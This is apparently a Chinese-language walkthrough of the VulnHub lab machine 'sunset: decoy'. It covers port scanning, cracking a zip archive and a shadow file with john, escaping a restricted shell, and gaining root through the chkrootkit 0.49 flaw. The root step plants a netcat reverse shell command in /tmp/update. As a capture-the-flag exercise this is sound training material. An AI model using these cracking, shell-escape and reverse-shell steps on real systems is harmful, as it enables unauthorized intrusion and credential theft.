PJzhang:vulnhub靶機sunset系列SUNSET:DECOY

貓寧~~~

 

地址：https://www.vulnhub.com/entry/sunset-decoy,505/

關注工具和思路。

nmap 192.168.43.0/24
靶機IP
192.168.43.32
攻擊機
192.168.43.154

nmap -A -p1-65535 192.168.43.32

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38

訪問http://192.168.43.32/，發現目錄暴露文件save.zip，解壓須要密碼

dirb http://192.168.43.32/

zip2john save.zip > pojie.hash
cat pojie.hash

john --wordlist=/usr/share/wordlists/rockyou.txt pojie.hash
結果manuel (save.zip)

unzip save.zip
輸入密碼manuel
顯示文件夾etc，內有文件group hostname hosts passwd shadow sudoers

進入/root/Desktop/etc
cat shadow
john --wordlist=/usr/share/wordlists/rockyou.txt shadow
獲知
server (296640a3b825115a47b68fc44501c828)

296640a3b825115a47b68fc44501c828是用戶名

ssh 296640a3b825115a47b68fc44501c828@192.168.43.32
密碼server

提示-rbash: dircolors: command not found

ssh 296640a3b825115a47b68fc44501c828@192.168.43.32 -t "bash --noprofile"

echo $PATH
PATH:/home/296640a3b825115a47b68fc44501c828/
修改環境變量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

cat user.txt
35253d886842075b2c6390f35946e41f

./honeypot.decoy，執行二進制文件

cd /home/296640a3b825115a47b68fc44501c828/SV-502/logs
cat log.txt
2020/06/27 18:56:58 CMD: UID=0 PID=12386 | tar -xvzf chkrootkit-0.49.tar.gz

searchsploit chkrootkit
Chkrootkit 0.49 - Local Privilege Escalation linux/local/33899.txt
https://www.exploit-db.com/exploits/33899

echo "/usr/bin/nc -e /bin/sh 192.168.43.154 4444" > /tmp/update
chmod +777 /tmp/update
進入 /home/296640a3b825115a47b68fc44501c828/
./honeypot.decoy
選擇
5 Launch an AV Scan.

攻擊機nc -lvnp 4444

connect to [192.168.43.154] from (UNKNOWN) [192.168.43.32] 4444

獲取權限

id
uid=0(root) gid=0(root) groups=0(root)

cat root.txt